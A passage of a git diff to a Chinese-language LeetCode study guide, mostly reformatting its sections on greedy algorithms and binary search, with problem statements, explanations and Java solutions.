+        } else if (nums[one] == 2) {
+            swap(nums, --two, one);
+        } else {
+            ++one;
+        }
+    }
 }
 
-private void swap(int[] nums, int i, int j) {
-    int t = nums[i];
-    nums[i] = nums[j];
-    nums[j] = t;
+private void swap(int[] nums, int i, int j) {
+    int t = nums[i];
+    nums[i] = nums[j];
+    nums[j] = t;
 }
 ```
 
-## 贪心思想
+## 贪心思想
 
 保证每次操作都是局部最优的，并且最后得到的结果是全局最优的。
 
-**分配饼干** 
+**分配饼干**
 
-[455. Assign Cookies (Easy)](https://leetcode.com/problems/assign-cookies/description/)
+[455. Assign Cookies (Easy)](https://leetcode.com/problems/assign-cookies/description/)
 
 ```html
-Input: [1,2], [1,2,3]
-Output: 2
+Input: [1,2], [1,2,3]
+Output: 2
 
-Explanation: You have 2 children and 3 cookies. The greed factors of 2 children are 1, 2.
-You have 3 cookies and their sizes are big enough to gratify all of the children,
-You need to output 2.
+Explanation: You have 2 children and 3 cookies. The greed factors of 2 children are 1, 2.
+You have 3 cookies and their sizes are big enough to gratify all of the children,
+You need to output 2.
 ```
 
 题目描述：每个孩子都有一个满足度，每个饼干都有一个大小，只有饼干的大小大于等于一个孩子的满足度，该孩子才会获得满足。求解最多可以获得满足的孩子数量。
 
 给一个孩子的饼干应当尽量小又能满足该孩子，这样大饼干就能拿来给满足度比较大的孩子。因为最小的孩子最容易得到满足，所以先满足最小的孩子。
 
-证明：假设在某次选择中，贪心策略选择给当前满足度最小的孩子分配第 m 个饼干，第 m 个饼干为可以满足该孩子的最小饼干。假设存在一种最优策略，给该孩子分配第 n 个饼干，并且 m < n。我们可以发现，经过这一轮分配，贪心策略分配后剩下的饼干一定有一个比最优策略来得大。因此在后续的分配中，贪心策略一定能满足更多的孩子。也就是说不存在比贪心策略更优的策略，即贪心策略就是最优策略。
+证明：假设在某次选择中，贪心策略选择给当前满足度最小的孩子分配第 m 个饼干，第 m 个饼干为可以满足该孩子的最小饼干。假设存在一种最优策略，给该孩子分配第 n 个饼干，并且 m < n。我们可以发现，经过这一轮分配，贪心策略分配后剩下的饼干一定有一个比最优策略来得大。因此在后续的分配中，贪心策略一定能满足更多的孩子。也就是说不存在比贪心策略更优的策略，即贪心策略就是最优策略。
 
 ```java
-public int findContentChildren(int[] g, int[] s) {
-    Arrays.sort(g);
-    Arrays.sort(s);
-    int gi = 0, si = 0;
-    while (gi < g.length && si < s.length) {
-        if (g[gi] <= s[si]) {
-            gi++;
-        }
-        si++;
-    }
-    return gi;
+public int findContentChildren(int[] g, int[] s) {
+    Arrays.sort(g);
+    Arrays.sort(s);
+    int gi = 0, si = 0;
+    while (gi < g.length && si < s.length) {
+        if (g[gi] <= s[si]) {
+            gi++;
+        }
+        si++;
+    }
+    return gi;
 }
 ```
 
-**不重叠的区间个数** 
+**不重叠的区间个数**
 
-[435. Non-overlapping Intervals (Medium)](https://leetcode.com/problems/non-overlapping-intervals/description/)
+[435. Non-overlapping Intervals (Medium)](https://leetcode.com/problems/non-overlapping-intervals/description/)
 
 ```html
-Input: [ [1,2], [1,2], [1,2] ]
+Input: [ [1,2], [1,2], [1,2] ]
 
-Output: 2
+Output: 2
 
-Explanation: You need to remove two [1,2] to make the rest of intervals non-overlapping.
+Explanation: You need to remove two [1,2] to make the rest of intervals non-overlapping.
 ```
 
 ```html
-Input: [ [1,2], [2,3] ]
+Input: [ [1,2], [2,3] ]
 
-Output: 0
+Output: 0
 
-Explanation: You don't need to remove any of the intervals since they're already non-overlapping.
+Explanation: You don't need to remove any of the intervals since they're already non-overlapping.
 ```
 
 题目描述：计算让一组区间不重叠所需要移除的区间个数。
@@ -565,42 +509,42 @@ Explanation: You don't need to remove any of the intervals since they're already
 按区间的结尾进行排序，每次选择结尾最小，并且和前一个区间不重叠的区间。
 
 ```java
-public int eraseOverlapIntervals(Interval[] intervals) {
-    if (intervals.length == 0) {
-        return 0;
-    }
-    Arrays.sort(intervals, Comparator.comparingInt(o -> o.end));
-    int cnt = 1;
-    int end = intervals[0].end;
-    for (int i = 1; i < intervals.length; i++) {
-        if (intervals[i].start < end) {
-            continue;
-        }
-        end = intervals[i].end;
-        cnt++;
-    }
-    return intervals.length - cnt;
+public int eraseOverlapIntervals(Interval[] intervals) {
+    if (intervals.length == 0) {
+        return 0;
+    }
+    Arrays.sort(intervals, Comparator.comparingInt(o -> o.end));
+    int cnt = 1;
+    int end = intervals[0].end;
+    for (int i = 1; i < intervals.length; i++) {
+        if (intervals[i].start < end) {
+            continue;
+        }
+        end = intervals[i].end;
+        cnt++;
+    }
+    return intervals.length - cnt;
 }
 ```
 
-使用 lambda 表示式创建 Comparator 会导致算法运行时间过长，如果注重运行时间，可以修改为普通创建 Comparator 语句：
+使用 lambda 表示式创建 Comparator 会导致算法运行时间过长，如果注重运行时间，可以修改为普通创建 Comparator 语句：
 
 ```java
-Arrays.sort(intervals, new Comparator<Interval>() {
-    @Override
-    public int compare(Interval o1, Interval o2) {
-        return o1.end - o2.end;
-    }
+Arrays.sort(intervals, new Comparator<Interval>() {
+    @Override
+    public int compare(Interval o1, Interval o2) {
+        return o1.end - o2.end;
+    }
 });
 ```
 
-**投飞镖刺破气球** 
+**投飞镖刺破气球**
 
-[452. Minimum Number of Arrows to Burst Balloons (Medium)](https://leetcode.com/problems/minimum-number-of-arrows-to-burst-balloons/description/)
+[452. Minimum Number of Arrows to Burst Balloons (Medium)](https://leetcode.com/problems/minimum-number-of-arrows-to-burst-balloons/description/)
 
 ```
 Input:
-[[10,16], [2,8], [1,6], [7,12]]
+[[10,16], [2,8], [1,6], [7,12]]
 
 Output:
 2
@@ -608,869 +552,869 @@ Output:
 
 题目描述：气球在一个水平数轴上摆放，可以重叠，飞镖垂直投向坐标轴，使得路径上的气球都会刺破。求解最小的投飞镖次数使所有气球都被刺破。
 
-也是计算不重叠的区间个数，不过和 Non-overlapping Intervals 的区别在于，[1, 2] 和 [2, 3] 在本题中算是重叠区间。
+也是计算不重叠的区间个数，不过和 Non-overlapping Intervals 的区别在于，[1, 2] 和 [2, 3] 在本题中算是重叠区间。
 
 ```java
-public int findMinArrowShots(int[][] points) {
-    if (points.length == 0) {
-        return 0;
-    }
-    Arrays.sort(points, Comparator.comparingInt(o -> o[1]));
-    int cnt = 1, end = points[0][1];
-    for (int i = 1; i < points.length; i++) {
-        if (points[i][0] <= end) {
-            continue;
-        }
-        cnt++;
-        end = points[i][1];
-    }
-    return cnt;
+public int findMinArrowShots(int[][] points) {
+    if (points.length == 0) {
+        return 0;
+    }
+    Arrays.sort(points, Comparator.comparingInt(o -> o[1]));
+    int cnt = 1, end = points[0][1];
+    for (int i = 1; i < points.length; i++) {
+        if (points[i][0] <= end) {
+            continue;
+        }
+        cnt++;
+        end = points[i][1];
+    }
+    return cnt;
 }
 ```
 
-**根据身高和序号重组队列** 
+**根据身高和序号重组队列**
 
-[406. Queue Reconstruction by Height(Medium)](https://leetcode.com/problems/queue-reconstruction-by-height/description/)
+[406. Queue Reconstruction by Height(Medium)](https://leetcode.com/problems/queue-reconstruction-by-height/description/)
 
 ```html
 Input:
-[[7,0], [4,4], [7,1], [5,0], [6,1], [5,2]]
+[[7,0], [4,4], [7,1], [5,0], [6,1], [5,2]]
 
 Output:
-[[5,0], [7,0], [5,2], [6,1], [4,4], [7,1]]
+[[5,0], [7,0], [5,2], [6,1], [4,4], [7,1]]
 ```
 
-题目描述：一个学生用两个分量 (h, k) 描述，h 表示身高，k 表示排在前面的有 k 个学生的身高比他高或者和他一样高。
+题目描述：一个学生用两个分量 (h, k) 描述，h 表示身高，k 表示排在前面的有 k 个学生的身高比他高或者和他一样高。
 
-为了使插入操作不影响后续的操作，身高较高的学生应该先做插入操作，否则身高较小的学生原先正确插入的第 k 个位置可能会变成第 k+1 个位置。
+为了使插入操作不影响后续的操作，身高较高的学生应该先做插入操作，否则身高较小的学生原先正确插入的第 k 个位置可能会变成第 k+1 个位置。
 
-身高降序、k 值升序，然后按排好序的顺序插入队列的第 k 个位置中。
+身高降序、k 值升序，然后按排好序的顺序插入队列的第 k 个位置中。
 
 ```java
-public int[][] reconstructQueue(int[][] people) {
-    if (people == null || people.length == 0 || people[0].length == 0) {
-        return new int[0][0];
-    }
-    Arrays.sort(people, (a, b) -> (a[0] == b[0] ? a[1] - b[1] : b[0] - a[0]));
-    List<int[]> queue = new ArrayList<>();
-    for (int[] p : people) {
-        queue.add(p[1], p);
-    }
-    return queue.toArray(new int[queue.size()][]);
+public int[][] reconstructQueue(int[][] people) {
+    if (people == null || people.length == 0 || people[0].length == 0) {
+        return new int[0][0];
+    }
+    Arrays.sort(people, (a, b) -> (a[0] == b[0] ? a[1] - b[1] : b[0] - a[0]));
+    List<int[]> queue = new ArrayList<>();
+    for (int[] p : people) {
+        queue.add(p[1], p);
+    }
+    return queue.toArray(new int[queue.size()][]);
 }
 ```
 
-**分隔字符串使同种字符出现在一起** 
+**分隔字符串使同种字符出现在一起**
 
-[763. Partition Labels (Medium)](https://leetcode.com/problems/partition-labels/description/)
+[763. Partition Labels (Medium)](https://leetcode.com/problems/partition-labels/description/)
 
 ```html
-Input: S = "ababcbacadefegdehijhklij"
-Output: [9,7,8]
+Input: S = "ababcbacadefegdehijhklij"
+Output: [9,7,8]
 Explanation:
-The partition is "ababcbaca", "defegde", "hijhklij".
-This is a partition so that each letter appears in at most one part.
-A partition like "ababcbacadefegde", "hijhklij" is incorrect, because it splits S into less parts.
+The partition is "ababcbaca", "defegde", "hijhklij".
+This is a partition so that each letter appears in at most one part.
+A partition like "ababcbacadefegde", "hijhklij" is incorrect, because it splits S into less parts.
 ```
 
 ```java
-public List<Integer> partitionLabels(String S) {
-    int[] lastIndexsOfChar = new int[26];
-    for (int i = 0; i < S.length(); i++) {
-        lastIndexsOfChar[char2Index(S.charAt(i))] = i;
-    }
-    List<Integer> partitions = new ArrayList<>();
-    int firstIndex = 0;
-    while (firstIndex < S.length()) {
-        int lastIndex = firstIndex;
-        for (int i = firstIndex; i < S.length() && i <= lastIndex; i++) {
-            int index = lastIndexsOfChar[char2Index(S.charAt(i))];
-            if (index > lastIndex) {
-                lastIndex = index;
-            }
-        }
-        partitions.add(lastIndex - firstIndex + 1);
-        firstIndex = lastIndex + 1;
-    }
-    return partitions;
+public List<Integer> partitionLabels(String S) {
+    int[] lastIndexsOfChar = new int[26];
+    for (int i = 0; i < S.length(); i++) {
+        lastIndexsOfChar[char2Index(S.charAt(i))] = i;
+    }
+    List<Integer> partitions = new ArrayList<>();
+    int firstIndex = 0;
+    while (firstIndex < S.length()) {
+        int lastIndex = firstIndex;
+        for (int i = firstIndex; i < S.length() && i <= lastIndex; i++) {
+            int index = lastIndexsOfChar[char2Index(S.charAt(i))];
+            if (index > lastIndex) {
+                lastIndex = index;
+            }
+        }
+        partitions.add(lastIndex - firstIndex + 1);
+        firstIndex = lastIndex + 1;
+    }
+    return partitions;
 }
 
-private int char2Index(char c) {
-    return c - 'a';
+private int char2Index(char c) {
+    return c - 'a';
 }
 ```
 
 
-**种植花朵** 
+**种植花朵**
 
-[605. Can Place Flowers (Easy)](https://leetcode.com/problems/can-place-flowers/description/)
+[605. Can Place Flowers (Easy)](https://leetcode.com/problems/can-place-flowers/description/)
 
 ```html
-Input: flowerbed = [1,0,0,0,1], n = 1
-Output: True
+Input: flowerbed = [1,0,0,0,1], n = 1
+Output: True
 ```
 
-题目描述：花朵之间至少需要一个单位的间隔，求解是否能种下 n 朵花。
+题目描述：花朵之间至少需要一个单位的间隔，求解是否能种下 n 朵花。
 
 ```java
-public boolean canPlaceFlowers(int[] flowerbed, int n) {
-    int len = flowerbed.length;
-    int cnt = 0;
-    for (int i = 0; i < len && cnt < n; i++) {
-        if (flowerbed[i] == 1) {
-            continue;
-        }
-        int pre = i == 0 ? 0 : flowerbed[i - 1];
-        int next = i == len - 1 ? 0 : flowerbed[i + 1];
-        if (pre == 0 && next == 0) {
-            cnt++;
-            flowerbed[i] = 1;
-        }
-    }
-    return cnt >= n;
+public boolean canPlaceFlowers(int[] flowerbed, int n) {
+    int len = flowerbed.length;
+    int cnt = 0;
+    for (int i = 0; i < len && cnt < n; i++) {
+        if (flowerbed[i] == 1) {
+            continue;
+        }
+        int pre = i == 0 ? 0 : flowerbed[i - 1];
+        int next = i == len - 1 ? 0 : flowerbed[i + 1];
+        if (pre == 0 && next == 0) {
+            cnt++;
+            flowerbed[i] = 1;
+        }
+    }
+    return cnt >= n;
 }
 ```
 
-**判断是否为子序列** 
+**判断是否为子序列**
 
-[392. Is Subsequence (Medium)](https://leetcode.com/problems/is-subsequence/description/)
+[392. Is Subsequence (Medium)](https://leetcode.com/problems/is-subsequence/description/)
 
 ```html
-s = "abc", t = "ahbgdc"
-Return true.
+s = "abc", t = "ahbgdc"
+Return true.
 ```
 
 ```java
-public boolean isSubsequence(String s, String t) {
-    int index = -1;
-    for (char c : s.toCharArray()) {
-        index = t.indexOf(c, index + 1);
-        if (index == -1) {
-            return false;
-        }
-    }
-    return true;
+public boolean isSubsequence(String s, String t) {
+    int index = -1;
+    for (char c : s.toCharArray()) {
+        index = t.indexOf(c, index + 1);
+        if (index == -1) {
+            return false;
+        }
+    }
+    return true;
 }
 ```
 
-**修改一个数成为非递减数组** 
+**修改一个数成为非递减数组**
 
-[665. Non-decreasing Array (Easy)](https://leetcode.com/problems/non-decreasing-array/description/)
+[665. Non-decreasing Array (Easy)](https://leetcode.com/problems/non-decreasing-array/description/)
 
 ```html
-Input: [4,2,3]
-Output: True
-Explanation: You could modify the first 4 to 1 to get a non-decreasing array.
+Input: [4,2,3]
+Output: True
+Explanation: You could modify the first 4 to 1 to get a non-decreasing array.
 ```
 
 题目描述：判断一个数组能不能只修改一个数就成为非递减数组。
 
-在出现 nums[i] < nums[i - 1] 时，需要考虑的是应该修改数组的哪个数，使得本次修改能使 i 之前的数组成为非递减数组，并且  **不影响后续的操作** 。优先考虑令 nums[i - 1] = nums[i]，因为如果修改 nums[i] = nums[i - 1] 的话，那么 nums[i] 这个数会变大，就有可能比 nums[i + 1] 大，从而影响了后续操作。还有一个比较特别的情况就是 nums[i] < nums[i - 2]，只修改 nums[i - 1] = nums[i] 不能使数组成为非递减数组，只能修改 nums[i] = nums[i - 1]。
+在出现 nums[i] < nums[i - 1] 时，需要考虑的是应该修改数组的哪个数，使得本次修改能使 i 之前的数组成为非递减数组，并且 **不影响后续的操作**。优先考虑令 nums[i - 1] = nums[i]，因为如果修改 nums[i] = nums[i - 1] 的话，那么 nums[i] 这个数会变大，就有可能比 nums[i + 1] 大，从而影响了后续操作。还有一个比较特别的情况就是 nums[i] < nums[i - 2]，只修改 nums[i - 1] = nums[i] 不能使数组成为非递减数组，只能修改 nums[i] = nums[i - 1]。
 
 ```java
-public boolean checkPossibility(int[] nums) {
-    int cnt = 0;
-    for (int i = 1; i < nums.length && cnt < 2; i++) {
-        if (nums[i] >= nums[i - 1]) {
-            continue;
-        }
-        cnt++;
-        if (i - 2 >= 0 && nums[i - 2] > nums[i]) {
-            nums[i] = nums[i - 1];
-        } else {
-            nums[i - 1] = nums[i];
-        }
-    }
-    return cnt <= 1;
+public boolean checkPossibility(int[] nums) {
+    int cnt = 0;
+    for (int i = 1; i < nums.length && cnt < 2; i++) {
+        if (nums[i] >= nums[i - 1]) {
+            continue;
+        }
+        cnt++;
+        if (i - 2 >= 0 && nums[i - 2] > nums[i]) {
+            nums[i] = nums[i - 1];
+        } else {
+            nums[i - 1] = nums[i];
+        }
+    }
+    return cnt <= 1;
 }
 ```
 
-**股票的最大收益** 
+**股票的最大收益**
 
-[122. Best Time to Buy and Sell Stock II (Easy)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/description/)
+[122. Best Time to Buy and Sell Stock II (Easy)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/description/)
 
 题目描述：一次股票交易包含买入和卖出，多个交易之间不能交叉进行。
 
-对于 [a, b, c, d]，如果有 a <= b <= c <= d ，那么最大收益为 d - a。而 d - a = (d - c) + (c - b) + (b - a) ，因此当访问到一个 prices[i] 且 prices[i] - prices[i-1] > 0，那么就把 prices[i] - prices[i-1] 添加到收益中，从而在局部最优的情况下也保证全局最优。
+对于 [a, b, c, d]，如果有 a <= b <= c <= d ，那么最大收益为 d - a。而 d - a = (d - c) + (c - b) + (b - a) ，因此当访问到一个 prices[i] 且 prices[i] - prices[i-1] > 0，那么就把 prices[i] - prices[i-1] 添加到收益中，从而在局部最优的情况下也保证全局最优。
 
 ```java
-public int maxProfit(int[] prices) {
-    int profit = 0;
-    for (int i = 1; i < prices.length; i++) {
-        if (prices[i] > prices[i - 1]) {
-            profit += (prices[i] - prices[i - 1]);
-        }
-    }
-    return profit;
+public int maxProfit(int[] prices) {
+    int profit = 0;
+    for (int i = 1; i < prices.length; i++) {
+        if (prices[i] > prices[i - 1]) {
+            profit += (prices[i] - prices[i - 1]);
+        }
+    }
+    return profit;
 }
 ```
 
-**子数组最大的和** 
+**子数组最大的和**
 
-[53. Maximum Subarray (Easy)](https://leetcode.com/problems/maximum-subarray/description/)
+[53. Maximum Subarray (Easy)](https://leetcode.com/problems/maximum-subarray/description/)
 
 ```html
-For example, given the array [-2,1,-3,4,-1,2,1,-5,4],
-the contiguous subarray [4,-1,2,1] has the largest sum = 6.
+For example, given the array [-2,1,-3,4,-1,2,1,-5,4],
+the contiguous subarray [4,-1,2,1] has the largest sum = 6.
 ```
 
 ```java
-public int maxSubArray(int[] nums) {
-    if (nums == null || nums.length == 0) {
-        return 0;
-    }
-    int preSum = nums[0];
-    int maxSum = preSum;
-    for (int i = 1; i < nums.length; i++) {
-        preSum = preSum > 0 ? preSum + nums[i] : nums[i];
-        maxSum = Math.max(maxSum, preSum);
-    }
-    return maxSum;
+public int maxSubArray(int[] nums) {
+    if (nums == null || nums.length == 0) {
+        return 0;
+    }
+    int preSum = nums[0];
+    int maxSum = preSum;
+    for (int i = 1; i < nums.length; i++) {
+        preSum = preSum > 0 ? preSum + nums[i] : nums[i];
+        maxSum = Math.max(maxSum, preSum);
+    }
+    return maxSum;
 }
 ```
 
-**买入和售出股票最大的收益** 
+**买入和售出股票最大的收益**
 
-[121. Best Time to Buy and Sell Stock (Easy)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/description/)
+[121. Best Time to Buy and Sell Stock (Easy)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/description/)
 
 题目描述：只进行一次交易。
 
 只要记录前面的最小价格，将这个最小价格作为买入价格，然后将当前的价格作为售出价格，查看当前收益是不是最大收益。
 
 ```java
-public int maxProfit(int[] prices) {
-    int n = prices.length;
-    if (n == 0) return 0;
-    int soFarMin = prices[0];
-    int max = 0;
-    for (int i = 1; i < n; i++) {
-        if (soFarMin > prices[i]) soFarMin = prices[i];
-        else max = Math.max(max, prices[i] - soFarMin);
-    }
-    return max;
+public int maxProfit(int[] prices) {
+    int n = prices.length;
+    if (n == 0) return 0;
+    int soFarMin = prices[0];
+    int max = 0;
+    for (int i = 1; i < n; i++) {
+        if (soFarMin > prices[i]) soFarMin = prices[i];
+        else max = Math.max(max, prices[i] - soFarMin);
+    }
+    return max;
 }
 ```
 
-## 二分查找
+## 二分查找
 
-**正常实现** 
+**正常实现**
 
 ```java
-public int binarySearch(int[] nums, int key) {
-    int l = 0, h = nums.length - 1;
-    while (l <= h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] == key) {
-            return m;
-        } else if (nums[m] > key) {
-            h = m - 1;
-        } else {
-            l = m + 1;
-        }
-    }
-    return -1;
+public int binarySearch(int[] nums, int key) {
+    int l = 0, h = nums.length - 1;
+    while (l <= h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] == key) {
+            return m;
+        } else if (nums[m] > key) {
+            h = m - 1;
+        } else {
+            l = m + 1;
+        }
+    }
+    return -1;
 }
 ```
 
-**时间复杂度** 
+**时间复杂度**
 
-二分查找也称为折半查找，每次都能将查找区间减半，这种折半特性的算法时间复杂度为 O(logN)。
+二分查找也称为折半查找，每次都能将查找区间减半，这种折半特性的算法时间复杂度为 O(logN)。
 
-**m 计算** 
+**m 计算**
 
-有两种计算中值 m 的方式：
+有两种计算中值 m 的方式：
 
-- m = (l + h) / 2
-- m = l + (h - l) / 2
+- m = (l + h) / 2
+- m = l + (h - l) / 2
 
-l + h 可能出现加法溢出，最好使用第二种方式。
+l + h 可能出现加法溢出，最好使用第二种方式。
 
-**返回值** 
+**返回值**
 
-循环退出时如果仍然没有查找到 key，那么表示查找失败。可以有两种返回值：
+循环退出时如果仍然没有查找到 key，那么表示查找失败。可以有两种返回值：
 
-- -1：以一个错误码表示没有查找到 key
-- l：将 key 插入到 nums 中的正确位置
+- -1：以一个错误码表示没有查找到 key
+- l：将 key 插入到 nums 中的正确位置
 
-**变种** 
+**变种**
 
-二分查找可以有很多变种，变种实现要注意边界值的判断。例如在一个有重复元素的数组中查找 key 的最左位置的实现如下：
+二分查找可以有很多变种，变种实现要注意边界值的判断。例如在一个有重复元素的数组中查找 key 的最左位置的实现如下：
 
 ```java
-public int binarySearch(int[] nums, int key) {
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] >= key) {
-            h = m;
-        } else {
-            l = m + 1;
-        }
-    }
-    return l;
+public int binarySearch(int[] nums, int key) {
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] >= key) {
+            h = m;
+        } else {
+            l = m + 1;
+        }
+    }
+    return l;
 }
 ```
 
 该实现和正常实现有以下不同：
 
-- 循环条件为 l < h
-- h 的赋值表达式为 h = m
-- 最后返回 l 而不是 -1
+- 循环条件为 l < h
+- h 的赋值表达式为 h = m
+- 最后返回 l 而不是 -1
 
-在 nums[m] >= key 的情况下，可以推导出最左 key 位于 [l, m] 区间中，这是一个闭区间。h 的赋值表达式为 h = m，因为 m 位置也可能是解。
+在 nums[m] >= key 的情况下，可以推导出最左 key 位于 [l, m] 区间中，这是一个闭区间。h 的赋值表达式为 h = m，因为 m 位置也可能是解。
 
-在 h 的赋值表达式为 h = mid 的情况下，如果循环条件为 l <= h，那么会出现循环无法退出的情况，因此循环条件只能是 l < h。以下演示了循环条件为 l <= h 时循环无法退出的情况：
+在 h 的赋值表达式为 h = mid 的情况下，如果循环条件为 l <= h，那么会出现循环无法退出的情况，因此循环条件只能是 l < h。以下演示了循环条件为 l <= h 时循环无法退出的情况：
 
 ```text
-nums = {0, 1, 2}, key = 1
-l   m   h
-0   1   2  nums[m] >= key
-0   0   1  nums[m] < key
-1   1   1  nums[m] >= key
-1   1   1  nums[m] >= key
+nums = {0, 1, 2}, key = 1
+l   m   h
+0   1   2  nums[m] >= key
+0   0   1  nums[m] < key
+1   1   1  nums[m] >= key
+1   1   1  nums[m] >= key
 ...
 ```
 
-当循环体退出时，不表示没有查找到 key，因此最后返回的结果不应该为 -1。为了验证有没有查找到，需要在调用端判断一下返回位置上的值和 key 是否相等。
+当循环体退出时，不表示没有查找到 key，因此最后返回的结果不应该为 -1。为了验证有没有查找到，需要在调用端判断一下返回位置上的值和 key 是否相等。
 
-**求开方** 
+**求开方**
 
-[69. Sqrt(x) (Easy)](https://leetcode.com/problems/sqrtx/description/)
+[69. Sqrt(x) (Easy)](https://leetcode.com/problems/sqrtx/description/)
 
 ```html
-Input: 4
-Output: 2
+Input: 4
+Output: 2
 
-Input: 8
-Output: 2
-Explanation: The square root of 8 is 2.82842..., and since we want to return an integer, the decimal part will be truncated.
+Input: 8
+Output: 2
+Explanation: The square root of 8 is 2.82842..., and since we want to return an integer, the decimal part will be truncated.
 ```
 
-一个数 x 的开方 sqrt 一定在 0 \~ x 之间，并且满足 sqrt == x / sqrt。可以利用二分查找在 0 \~ x 之间查找 sqrt。
+一个数 x 的开方 sqrt 一定在 0 ~ x 之间，并且满足 sqrt == x / sqrt。可以利用二分查找在 0 ~ x 之间查找 sqrt。
 
-对于 x = 8，它的开方是 2.82842...，最后应该返回 2 而不是 3。在循环条件为 l <= h 并且循环退出时，h 总是比 l 小 1，也就是说 h = 2，l = 3，因此最后的返回值应该为 h 而不是 l。
+对于 x = 8，它的开方是 2.82842...，最后应该返回 2 而不是 3。在循环条件为 l <= h 并且循环退出时，h 总是比 l 小 1，也就是说 h = 2，l = 3，因此最后的返回值应该为 h 而不是 l。
 
 ```java
-public int mySqrt(int x) {
-    if (x <= 1) {
-        return x;
-    }
-    int l = 1, h = x;
-    while (l <= h) {
-        int mid = l + (h - l) / 2;
-        int sqrt = x / mid;
-        if (sqrt == mid) {
-            return mid;
-        } else if (mid > sqrt) {
-            h = mid - 1;
-        } else {
-            l = mid + 1;
-        }
-    }
-    return h;
+public int mySqrt(int x) {
+    if (x <= 1) {
+        return x;
+    }
+    int l = 1, h = x;
+    while (l <= h) {
+        int mid = l + (h - l) / 2;
+        int sqrt = x / mid;
+        if (sqrt == mid) {
+            return mid;
+        } else if (mid > sqrt) {
+            h = mid - 1;
+        } else {
+            l = mid + 1;
+        }
+    }
+    return h;
 }
 ```
 
-**大于给定元素的最小元素** 
+**大于给定元素的最小元素**
 
-[744. Find Smallest Letter Greater Than Target (Easy)](https://leetcode.com/problems/find-smallest-letter-greater-than-target/description/)
+[744. Find Smallest Letter Greater Than Target (Easy)](https://leetcode.com/problems/find-smallest-letter-greater-than-target/description/)
 
 ```html
 Input:
-letters = ["c", "f", "j"]
-target = "d"
-Output: "f"
+letters = ["c", "f", "j"]
+target = "d"
+Output: "f"
 
 Input:
-letters = ["c", "f", "j"]
-target = "k"
-Output: "c"
+letters = ["c", "f", "j"]
+target = "k"
+Output: "c"
 ```
 
-题目描述：给定一个有序的字符数组 letters 和一个字符 target，要求找出 letters 中大于 target 的最小字符，如果找不到就返回第 1 个字符。
+题目描述：给定一个有序的字符数组 letters 和一个字符 target，要求找出 letters 中大于 target 的最小字符，如果找不到就返回第 1 个字符。
 
 ```java
-public char nextGreatestLetter(char[] letters, char target) {
-    int n = letters.length;
-    int l = 0, h = n - 1;
-    while (l <= h) {
-        int m = l + (h - l) / 2;
-        if (letters[m] <= target) {
-            l = m + 1;
-        } else {
-            h = m - 1;
-        }
-    }
-    return l < n ? letters[l] : letters[0];
+public char nextGreatestLetter(char[] letters, char target) {
+    int n = letters.length;
+    int l = 0, h = n - 1;
+    while (l <= h) {
+        int m = l + (h - l) / 2;
+        if (letters[m] <= target) {
+            l = m + 1;
+        } else {
+            h = m - 1;
+        }
+    }
+    return l < n ? letters[l] : letters[0];
 }
 ```
 
-**有序数组的 Single Element** 
+**有序数组的 Single Element**
 
-[540. Single Element in a Sorted Array (Medium)](https://leetcode.com/problems/single-element-in-a-sorted-array/description/)
+[540. Single Element in a Sorted Array (Medium)](https://leetcode.com/problems/single-element-in-a-sorted-array/description/)
 
 ```html
-Input: [1, 1, 2, 3, 3, 4, 4, 8, 8]
-Output: 2
+Input: [1, 1, 2, 3, 3, 4, 4, 8, 8]
+Output: 2
 ```
 
-题目描述：一个有序数组只有一个数不出现两次，找出这个数。要求以 O(logN) 时间复杂度进行求解。
+题目描述：一个有序数组只有一个数不出现两次，找出这个数。要求以 O(logN) 时间复杂度进行求解。
 
-令 index 为 Single Element 在数组中的位置。如果 m 为偶数，并且 m + 1 < index，那么 nums[m] == nums[m + 1]；m + 1 >= index，那么 nums[m] != nums[m + 1]。
+令 index 为 Single Element 在数组中的位置。如果 m 为偶数，并且 m + 1 < index，那么 nums[m] == nums[m + 1]；m + 1 >= index，那么 nums[m] != nums[m + 1]。
 
-从上面的规律可以知道，如果 nums[m] == nums[m + 1]，那么 index 所在的数组位置为 [m + 2, h]，此时令 l = m + 2；如果 nums[m] != nums[m + 1]，那么 index 所在的数组位置为 [l, m]，此时令 h = m。
+从上面的规律可以知道，如果 nums[m] == nums[m + 1]，那么 index 所在的数组位置为 [m + 2, h]，此时令 l = m + 2；如果 nums[m] != nums[m + 1]，那么 index 所在的数组位置为 [l, m]，此时令 h = m。
 
-因为 h 的赋值表达式为 h = m，那么循环条件也就只能使用 l < h 这种形式。
+因为 h 的赋值表达式为 h = m，那么循环条件也就只能使用 l < h 这种形式。
 
 ```java
-public int singleNonDuplicate(int[] nums) {
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (m % 2 == 1) {
-            m--;   // 保证 l/h/m 都在偶数位，使得查找区间大小一直都是奇数
-        }
-        if (nums[m] == nums[m + 1]) {
-            l = m + 2;
-        } else {
-            h = m;
-        }
-    }
-    return nums[l];
+public int singleNonDuplicate(int[] nums) {
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (m % 2 == 1) {
+            m--;   // 保证 l/h/m 都在偶数位，使得查找区间大小一直都是奇数
+        }
+        if (nums[m] == nums[m + 1]) {
+            l = m + 2;
+        } else {
+            h = m;
+        }
+    }
+    return nums[l];
 }
 ```
 
-**第一个错误的版本** 
+**第一个错误的版本**
 
-[278. First Bad Version (Easy)](https://leetcode.com/problems/first-bad-version/description/)
+[278. First Bad Version (Easy)](https://leetcode.com/problems/first-bad-version/description/)
 
-题目描述：给定一个元素 n 代表有 [1, 2, ..., n] 版本，可以调用 isBadVersion(int x) 知道某个版本是否错误，要求找到第一个错误的版本。
+题目描述：给定一个元素 n 代表有 [1, 2, ..., n] 版本，可以调用 isBadVersion(int x) 知道某个版本是否错误，要求找到第一个错误的版本。
 
-如果第 m 个版本出错，则表示第一个错误的版本在 [l, m] 之间，令 h = m；否则第一个错误的版本在 [m + 1, h] 之间，令 l = m + 1。
+如果第 m 个版本出错，则表示第一个错误的版本在 [l, m] 之间，令 h = m；否则第一个错误的版本在 [m + 1, h] 之间，令 l = m + 1。
 
